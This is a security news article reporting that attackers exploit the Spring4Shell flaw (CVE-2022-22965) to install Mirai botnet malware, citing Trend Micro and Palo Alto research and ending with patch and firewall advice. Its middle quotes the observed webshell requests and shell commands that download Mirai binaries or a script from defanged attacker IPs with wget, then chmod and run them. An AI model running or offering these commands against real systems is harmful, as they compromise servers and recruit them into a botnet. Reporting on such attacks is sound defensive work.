Security researchers with cybersecurity firms say hackers are actively exploiting the Spring4Shell vulnerability to deploy the Mirai botnet malware.
In a research report detailing the exploits, Tokyo-based cybersecurity firm Trend Micro says it has observed the exploitation since the start of this month after the remote code execution bug (CVE-2022-22965) in the Spring Framework was disclosed.
According to Trend Micro, the bug allows threat actors to download the Mirai saimple to the “/tmp” folder and execute them after permissions change using “chmod”.
The exploitation requests and commands decoded are as follows:
- http://{victim IP}:9090/tomcatwar[.]jsp?pwd=j&cmd=cd%20/tmp;%20wget%20http://45[.]95[.]169[.]143/The420smokeplace[.]dns/KKveTTgaAAsecNNx86;chmod%20777%20*;./KKveTTgaAAsecNNaaaa.x86%20mSpring[.]x86
- cd /tmp; wget http://45[.]95[.]169[.]143/The420smokeplace.dns/KKveTTgaAAsecNNaaaa.x86;chmod 777 *;./KKveTTgaAAsecNNaaaa.x86 mSpring[.]x86
- http://45[.]95[.]169[.]143/The420smokeplace[.]dns/KKveTTgaAAsecNNaaaa.x86
While samples had been observed since the start of this month, Trend Micro says it has also found the malware file server with other variants for different CPU architectures.
The script “wget.sh” downloads the binaries from the malicious server and executes all the samples, the company says. Only compatible samples run, and the files are removed from the disk after execution, Trend Micro says.
Santa Clara, Calif.-based cybersecurity firm Palo Alto Network also observed Mirai activity related to the Spring4Shell bug, saying this is the only malicious activity it has seen in its telemetry.
Palo Alto says this involves HTTP requests to URLs containing the tomcatwar.jsp filename associated with the proof-of-concept script.
The activity involved parameters issued to the webshell that would run a command to download and execute a script from a remote server as seen in the following:
[redacted IPV4 address]:8080/tomcatwar.jsp?pwd=j&cmd=/bin/sh/-c${IFS}’cd${IFS}/tmp;wget${IFS}hxxp://107.174.133[.]167/t.sh${IFS}-O-%a6sh${IFS}SpringCore;’
This t.sh script hosted on the server is delated to the Mirai botnet, with requests coming from an IP address, 194.31.98[.]186, which has hosted payloads associated with the botnet as well.
Palo Alto says it blocked the initial attempt to exploit the vulnerability, so it cannot confirm if Mirai’s attempts to exploit Spring4Shell have been successful.
To prevent malicious actors from leveraging this bug to deploy the Mirai botnet, Trend Micro advises the following;
- Apply patches and update Spring Framework to versions 5.3.18+ and 5.2.20+, and update Spring Boot to versions 2.6.6+ and2.5.12+.
While patches are being deployed, organizations can mitigate those risks by:
- Maintaining a disallow or blocklist in web application firewall to block strings that contain values, including “class.*”, “Class.*”, “*.class.*”, and “*.Class.*”
- Downgrading to a lower JDK version such as version 8 might help. However, this may impact application features and open doors to other attacks mitigated in higher versions of JDK.
Leave a Reply